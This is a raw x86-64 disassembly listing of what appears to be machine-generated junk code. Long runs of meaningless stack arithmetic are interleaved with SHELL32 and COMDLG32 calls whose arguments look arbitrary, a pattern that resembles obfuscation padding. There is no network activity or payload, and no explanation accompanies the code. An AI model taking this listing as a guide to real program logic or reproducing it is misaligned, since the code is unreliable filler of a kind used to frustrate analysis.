mov rcx, qword [rsp + 0xed10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6a0]
movzx eax, word [rax]
mov word [rsp + 0x2ffc], ax
mov eax, dword [rsp + 0x5974]
mov ecx, dword [rsp + 0x6cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f74], eax
mov rax, qword [0x14019f2e8]
mov rcx, qword [rsp + 0xe128]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b2]
sar eax, cl
mov byte [rsp + 0x42c], al
mov eax, dword [rsp + 0x5ec4]
mov dword [rsp + 0x7150], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x295]
shl eax, cl
mov byte [rsp + 0x1e0], al
mov rcx, qword [rsp + 0xed18]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xf230], rax
mov rax, qword [rsp + 0xe968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28b0]
and eax, ecx
mov word [0x14019f318], ax
movzx eax, word [0x14019d0e8]
mov rcx, qword [rsp + 0xf1f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0xee18]
movzx eax, word [rax]
mov word [rsp + 0x3000], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfe8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0xeb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x445]
or eax, ecx
mov byte [rsp + 0x44d], al
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd338]
mov qword [rsp + 0xf238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf238]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5b74], eax
lea rax, [rsp + 0xd4e8]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILCloneFirst
lea r8, [rsp + 0x1e3b0]
lea rdx, [rsp + 0x1e5b0]
lea rcx, [rsp + 0xe288]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xeac8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9a0]
mov qword [rsp + 0xf240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf240]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd858], rax
mov rax, qword [rsp + 0xd188]
movzx eax, word [rax]
mov word [rsp + 0x3004], ax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [rsp + 0x22b0]
sub eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xb020]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f558], rax
lea rax, [rsp + 0x24fc]
mov qword [rsp + 0xf248], rax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0xebc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcec0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
mov rax, qword [rsp + 0xec80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ad]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [0x14019f3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xf030]
movzx eax, byte [rax]
mov byte [rsp + 0x5aa], al
mov eax, dword [rsp + 0x70fc]
mov rcx, qword [rsp + 0xdbc8]
mov qword [rsp + 0xf250], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf250]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6f3c], eax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xdd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7070], eax
mov rax, qword [rsp + 0xd818]
movzx eax, word [rax]
mov word [0x14019f5b0], ax
lea rax, [rsp + 0x2d7c]
mov qword [rsp + 0xf258], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeef8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdbf0]
mov word [rcx], ax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0xf260], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55b]
shl eax, cl
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xeeb8]
mov qword [rsp + 0xf268], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x5ba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70f0], eax
movsx eax, word [rsp + 0x2f54]
movsx ecx, word [rsp + 0x2cb0]
sar eax, cl
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe458]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2318], ax
mov rax, qword [rsp + 0xe9d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe2f0]
shl rax, cl
mov qword [0x14019d2b8], rax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xc048]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd5a0]
mov qword [rcx], rax
mov rax, qword [0x14019d2a8]
mov qword [rsp + 0xf270], rax
mov rax, qword [rsp + 0xe8b0]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd6a0], rax
movzx eax, word [rsp + 0x2afc]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov word [rsp + 0x2be8], ax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x568]
add eax, ecx
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x6d3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5eac], eax
movzx eax, byte [0x14019ef92]
mov byte [rsp + 0x5ab], al
mov rax, qword [rsp + 0xde10]
mov rcx, qword [rsp + 0xda38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6a8], rax
mov eax, dword [rsp + 0x6454]
mov dword [0x14019f5b4], eax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [0x14019f2d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fa8], ax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1764]
xor eax, ecx
mov word [rsp + 0x1e1c], ax
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [rsp + 0xf248]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x24f8], ax
mov rax, qword [rsp + 0xdda0]
mov rax, qword [rax]
mov qword [rsp + 0xf278], rax
mov eax, dword [rsp + 0x6fe8]
mov ecx, dword [rsp + 0x5a10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f4c], eax
movsx eax, byte [rsp + 0x59f]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x57e], al
mov rax, qword [0x14019d118]
mov qword [rsp + 0xf280], rax
movsx eax, word [rsp + 0xc00]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf80], ax
movzx eax, word [rsp + 0x2a10]
movzx ecx, word [0x14019f1e0]
shl eax, cl
mov word [0x14019d2e4], ax
mov rax, qword [rsp + 0xebc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb58]
mov qword [rsp + 0xf288], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf288]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e38]
or eax, ecx
mov word [rsp + 0x2c90], ax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov byte [rsp + 0x5ac], al
mov eax, dword [rsp + 0x7090]
mov ecx, dword [rsp + 0x5ac4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xb7d8]
mov rcx, qword [rsp + 0xe768]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe4c8], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51d]
add eax, ecx
mov byte [rsp + 0x4b1], al
mov rax, qword [rsp + 0xdc60]
mov rcx, qword [rsp + 0xeff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6bd0], eax
movzx eax, word [rsp + 0x1314]
mov word [rsp + 0x3008], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20b0]
and eax, ecx
mov word [0x14019f418], ax
mov rax, qword [rsp + 0xeeb0]
mov rcx, qword [rsp + 0x91b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xde18], rax
mov rax, qword [rsp + 0xe778]
mov rcx, qword [rsp + 0xefa8]
mov qword [rsp + 0xf290], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf290]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe240], rax
movzx eax, word [rsp + 0x2ac0]
mov word [rsp + 0x300c], ax
mov rax, qword [rsp + 0xebd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xf180]
mov rcx, qword [rsp + 0xe3b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d38], rax
mov eax, dword [rsp + 0x6f94]
imul eax, dword [rsp + 0x6f64]
mov dword [rsp + 0x5f68], eax
movsx eax, byte [rsp + 0x4eb]
mov rcx, qword [rsp + 0xe8f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x587], al
mov rax, qword [rsp + 0xf1d0]
mov rax, qword [rax]
mov qword [rsp + 0xf298], rax
lea rax, [rsp + 0x1c10]
mov qword [0x14019f5b8], rax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ef0], ax
lea rax, [0x14019d010]
mov qword [rsp + 0xf2a0], rax
mov eax, dword [rsp + 0x60ac]
mov rcx, qword [rsp + 0xda60]
mov qword [rsp + 0xf2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf2a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x9918]
mov rcx, qword [rsp + 0xed48]
mov qword [rsp + 0xf2b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf2b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x26b], al
mov rax, qword [rsp + 0xdc58]
mov rcx, qword [rsp + 0xd978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
lea rax, [rsp + 0x5950]
mov qword [rsp + 0xf2b8], rax
movsx eax, word [rsp + 0x2b3c]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fa8], ax
movzx eax, word [rsp + 0x1c08]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d1d8], ax
lea rax, [rsp + 0xe338]
mov qword [rsp + 0xf2c0], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2650]
and eax, ecx
mov word [rsp + 0x2390], ax
movsx eax, word [rsp + 0x1db8]
movsx ecx, word [rsp + 0x14b0]
or eax, ecx
mov word [rsp + 0x2c30], ax
mov rax, qword [0x14019f0b8]
mov qword [rsp + 0xf2c8], rax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe278]
mov qword [rsp + 0xf2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf2d0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xeaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
mov dword [rsp + 0x7154], eax
movsx eax, byte [rsp + 0x593]
mov rcx, qword [0x14019f320]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x59e], al
movzx eax, word [rsp + 0x2894]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
lea rax, [rsp + 0xe218]
mov qword [0x14019f5c0], rax
lea rax, [rsp + 0x6784]
mov qword [rsp + 0xf2d8], rax
movzx eax, byte [rsp + 0x4ff]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd550]
mov byte [rcx], al
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0xf2e0], rax
lea r9, [rsp + 0xe6e0]
lea r8, [rsp + 0x1e058]
mov edx, 0x93
mov rcx, qword [rsp + 0xd8b8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0xd640], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [0x14019f0a0]
add eax, ecx
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0xe960]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x287], al
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f2bc]
shr eax, cl
mov dword [rsp + 0x69d8], eax
mov rax, qword [rsp + 0xd398]
movzx eax, word [rax]
mov word [rsp + 0x3010], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xef28]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f560], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [0x14019efc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe338], rax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xe6b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba30], rax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe538]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0xecc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x300c], ax
lea rax, [rsp + 0xce58]
mov qword [rsp + 0xf2e8], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x52b], al
lea rcx, [rsp + 0x1e650]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x7158], eax
mov eax, dword [rsp + 0x708c]
mov dword [rsp + 0x715c], eax
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5918]
shl eax, cl
mov dword [rsp + 0x6db4], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x57a]
sar eax, cl
mov rcx, qword [rsp + 0xe820]
mov byte [rcx], al
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24b8]
sub eax, ecx
mov word [0x14019f494], ax
movzx eax, word [rsp + 0x2b34]
mov word [rsp + 0x3014], ax
mov rax, qword [rsp + 0xf0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xead0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e18], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd880]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9018], rax
movsx eax, byte [rsp + 0x3c7]
movsx ecx, byte [rsp + 0x2bf]
add eax, ecx
mov byte [rsp + 0x26f], al
mov rax, qword [rsp + 0xea98]
imul eax, dword [rax], 0x63a8
mov dword [rsp + 0x7134], eax
mov rax, qword [rsp + 0xdcf0]
mov qword [rsp + 0xf2f0], rax
movsx eax, word [0x14019d26c]
movsx ecx, word [rsp + 0x2c00]
or eax, ecx
mov rcx, qword [rsp + 0xdcf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf090]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0xdc48]
mov qword [0x14019f5c8], rax
mov rax, qword [0x14019f4d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ec4], ax
mov rax, qword [rsp + 0xe740]
mov rax, qword [rax]
mov qword [rsp + 0xf2f8], rax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xed60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbcf8], rax
mov rax, qword [rsp + 0xee48]
mov rax, qword [rax]
mov rcx, qword [0x14019d118]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc18], rax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0xec28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34f], al
mov rax, qword [rsp + 0xf098]
mov eax, dword [rax]
mov dword [rsp + 0x7160], eax
mov rax, qword [rsp + 0xea98]
mov rcx, qword [rsp + 0xe7e8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6cf8], eax
movzx eax, word [rsp + 0xdfc]
mov word [0x14019f5d0], ax
mov dword [rsp + 0x20], 0x34
lea r9, [rsp + 0xe468]
mov r8d, SHUpdateImageW
lea rdx, [rsp + 0xd368]
lea rcx, [rsp + 0x7024]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6e60], eax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0xef28]
movzx eax, word [rax]
mov word [rsp + 0x3018], ax
movzx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ed0], ax
mov rax, qword [rsp + 0xddc8]
mov ecx, dword [rsp + 0x5e18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6044], eax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xf100]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe278]
mov qword [rcx], rax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x583]
add eax, ecx
mov byte [rsp + 0x338], al
mov rax, qword [rsp + 0xdb90]
movzx eax, word [rax]
mov word [rsp + 0x301c], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3000]
add eax, ecx
mov word [rsp + 0x1ce8], ax
mov rax, qword [0x14019f5c0]
mov rcx, qword [rsp + 0xedd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xd918]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xf300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf300]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb120], rax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe460], rax
movzx eax, word [rsp + 0x2eec]
mov word [rsp + 0x3020], ax
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x63c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov byte [rsp + 0x5ad], al
xor edx, edx
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
div dword [rsp + 0x7004]
mov dword [rsp + 0x5954], eax
mov rax, qword [rsp + 0xdd18]
mov rcx, qword [rsp + 0xd5e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc430], rax
movsx eax, byte [rsp + 0x525]
movsx ecx, byte [rsp + 0x584]
sar eax, cl
mov rcx, qword [0x14019f270]
mov byte [rcx], al
movsx eax, word [rsp + 0x213c]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cd4], ax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c14], ax
movzx eax, word [rsp + 0x1138]
mov word [rsp + 0x3024], ax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdeb0]
mov qword [rsp + 0xf308], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf308]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe640], rax
lea rcx, [rsp + 0x1ef60]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xeca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe058]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4ec], al
mov rax, qword [rsp + 0xf1f0]
mov rcx, qword [rsp + 0x9b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0xd770]
movzx eax, word [rax]
mov word [rsp + 0x3028], ax
movzx eax, word [rsp + 0x2abc]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2e8], ax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [rsp + 0xc468]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb020], rax
movzx eax, word [rsp + 0x2dbc]
mov word [rsp + 0x302c], ax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x581]
add eax, ecx
mov byte [rsp + 0x4a1], al
mov rax, qword [rsp + 0xf098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e50], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x148]
and eax, ecx
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0xd468]
mov rcx, qword [rsp + 0xd4f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xe7d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov dword [rsp + 0x7164], eax
movsx eax, word [rsp + 0x1dfc]
movsx ecx, word [0x14019f574]
shl eax, cl
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [0x14019f5d4], ax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xdeb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0xb450]
movzx ecx, al
mov rax, qword [rsp + 0x9ff8]
sar rax, cl
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ea8], ax
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
mov word [rsp + 0x3030], ax
movsx eax, byte [rsp + 0x14e]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58c], al
mov rax, qword [rsp + 0xdd50]
mov ecx, dword [rsp + 0x6e6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c68], eax
lea rax, [rsp + 0xe0f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHUpdateImageW
mov r9d, 0xe9
mov r8d, 0xed
mov edx, reloc.SHELL32.dll_SHDoDragDrop
mov rcx, qword [rsp + 0xf310]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x6cb8], eax
mov rax, qword [rsp + 0xece8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc028]
shr rax, cl
mov rcx, qword [rsp + 0xeac8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
shl rax, cl
mov qword [rsp + 0xe538], rax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
sub eax, ecx
mov word [0x14019f3d8], ax
movzx eax, word [0x14019f474]
mov word [rsp + 0x3034], ax
mov eax, dword [rsp + 0x6e70]
imul eax, dword [rsp + 0x70a0]
mov dword [rsp + 0x6f90], eax
movzx eax, byte [rsp + 0x396]
mov byte [rsp + 0x5ae], al
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe218], rax
xor edx, edx
mov eax, dword [rsp + 0x6e6c]
div dword [rsp + 0x6ed4]
mov dword [rsp + 0x662c], eax
mov rax, qword [rsp + 0xef78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xee40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97a8], rax
movsx eax, byte [str.mA8xd_v0]
mov rcx, qword [rsp + 0xef48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x57e], al
movzx eax, word [rsp + 0x14b0]
mov word [rsp + 0x3038], ax
movzx eax, word [rsp + 0x2e9c]
mov word [0x14019f5d8], ax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe460]
shl rax, cl
mov qword [rsp + 0xe238], rax
movzx eax, word [rsp + 0x21cc]
movzx ecx, word [rsp + 0x2cac]
or eax, ecx
mov word [rsp + 0x2d1c], ax
movsx eax, word [rsp + 0x2ae8]
movsx ecx, word [rsp + 0x2aec]
sar eax, cl
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe640]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd590], rax
lea rax, [rsp + 0x520]
mov qword [rsp + 0xf318], rax
mov eax, dword [0x14019d1dc]
mov ecx, dword [rsp + 0x713c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b5c], eax
mov rax, qword [rsp + 0xc8a8]
mov qword [rsp + 0xf320], rax
movzx eax, word [rsp + 0x2d2c]
movzx ecx, word [rsp + 0x2c18]
sub eax, ecx
mov word [rsp + 0x2f38], ax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe4d8]
mov qword [rsp + 0xf328], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf328]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f590], rax
mov eax, dword [rsp + 0x6d9c]
movzx ecx, al
mov eax, dword [rsp + 0x70ec]
sar eax, cl
mov dword [rsp + 0x704c], eax
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
mov byte [rsp + 0x5af], al
movsx eax, word [rsp + 0x1df0]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x2d18]
add eax, ecx
mov word [rsp + 0x2398], ax
